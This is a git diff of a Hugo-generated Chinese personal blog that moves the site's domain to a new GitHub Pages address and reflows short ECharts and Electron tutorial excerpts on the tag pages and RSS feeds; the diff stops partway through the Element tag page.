-    <link>https://xiaochenabc123.github.io/tags/echarts/</link>
+    <link>https://chenjunlinabc.github.io/tags/echarts/</link>
     <description>Recent content in ECharts on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 18 Jun 2022 00:12:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/echarts/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 18 Jun 2022 00:12:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/echarts/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>ECharts数据可视化图表库简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/153/</link>
+      <link>https://chenjunlinabc.github.io/posts/153/</link>
       <pubDate>Sat, 18 Jun 2022 00:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/153/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/153/</guid>
       <description>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
第一个实例
-import * as echarts from &#39;echarts&#39;
let app = echarts.init(document.getElementById(&#39;app&#39;), null, {
width: 800,
height: 500
})
let data = {
title: {
text: &#39;用户管理&#39;
},
tooltip:{},
legend: {
data: [&#39;用户&#39;]
},
xAxis: {
data: [
&#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39;
]
},
yAxis: {},
series: [
{
name: &#39;用户权限&#39;,
type: &#39;bar&#39;,
data: [
10,8,5,1,3
]
}
]
}
app.setOption(data)
注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
+npm install echarts --save 第一个实例
+import * as echarts from &#39;echarts&#39; let app = echarts.init(document.getElementById(&#39;app&#39;), null, { width: 800, height: 500 }) let data = { title: { text: &#39;用户管理&#39; }, tooltip:{}, legend: { data: [&#39;用户&#39;] }, xAxis: { data: [ &#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39; ] }, yAxis: {}, series: [ { name: &#39;用户权限&#39;, type: &#39;bar&#39;, data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
     </item>
     
   </channel>
diff --git a/tags/echarts/page/1/index.html b/tags/echarts/page/1/index.html
index 96c8aea7..3c75d0f1 100644
--- a/tags/echarts/page/1/index.html
+++ b/tags/echarts/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/echarts/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/echarts/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/echarts/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/echarts/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/echarts/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/echarts/"></head></html>
\ No newline at end of file
diff --git a/tags/electron/index.html b/tags/electron/index.html
index 0296dc32..80ccf00b 100644
--- a/tags/electron/index.html
+++ b/tags/electron/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Electron | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/electron/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/electron/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Electron"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/electron/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Electron"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Electron</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Electron | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/electron/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/electron/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Electron"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/electron/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Electron"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Electron</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
 但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m
@@ -17,23 +17,8 @@
 声明主窗口
 var mainWindow = null
 设置参数
-app.on('ready',()=>{
-mainWindow = new BrowserWindow({
-// 设置窗口大小
-width:500,
-height:500,
-webPreferences:{
-nodeIntegration: true
-// 是否集成node
-}
-}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面
-mainWindow.on('closed',()=>{
-mainWindow = null
-// 监听销毁事件，事件触发关闭主窗口，设置为null
-})
-})
-初始化
-npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://xiaochenabc123.github.io/posts/91/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+app.on('ready',()=>{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=>{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
+npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://chenjunlinabc.github.io/posts/91/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/electron/index.xml b/tags/electron/index.xml
index d3debcf6..6ae26f42 100644
--- a/tags/electron/index.xml
+++ b/tags/electron/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Electron on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/electron/</link>
+    <link>https://chenjunlinabc.github.io/tags/electron/</link>
     <description>Recent content in Electron on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 25 Aug 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/electron/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 25 Aug 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/electron/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单利用Electron框架开发桌面端应用</title>
-      <link>https://xiaochenabc123.github.io/posts/91/</link>
+      <link>https://chenjunlinabc.github.io/posts/91/</link>
       <pubDate>Wed, 25 Aug 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/91/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/91/</guid>
       <description>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
@@ -37,7 +37,7 @@ var BrowserWindow = electron.BrowserWindow
 声明主窗口
 var mainWindow = null
 设置参数
-app.on(&#39;ready&#39;,()=&amp;gt;{
mainWindow = new BrowserWindow({
// 设置窗口大小
width:500,
height:500,
webPreferences:{
nodeIntegration: true
// 是否集成node
}
}) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面
mainWindow.on(&#39;closed&#39;,()=&amp;gt;{
mainWindow = null
// 监听销毁事件，事件触发关闭主窗口，设置为null
})
})
初始化
+app.on(&#39;ready&#39;,()=&amp;gt;{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面 mainWindow.on(&#39;closed&#39;,()=&amp;gt;{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
 npm init &amp;ndash;yes</description>
     </item>
     
diff --git a/tags/electron/page/1/index.html b/tags/electron/page/1/index.html
index 57649220..7b5d64cd 100644
--- a/tags/electron/page/1/index.html
+++ b/tags/electron/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/electron/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/electron/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/electron/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/electron/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/electron/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/electron/"></head></html>
\ No newline at end of file
diff --git a/tags/element/index.html b/tags/element/index.html
index caf238a0..02243902 100644
--- a/tags/element/index.html
+++ b/tags/element/index.html
@@ -1,37 +1,16 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Element | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/element/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/element/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Element"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/element/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Element"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Element</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Element | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/element/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/element/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Element"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" 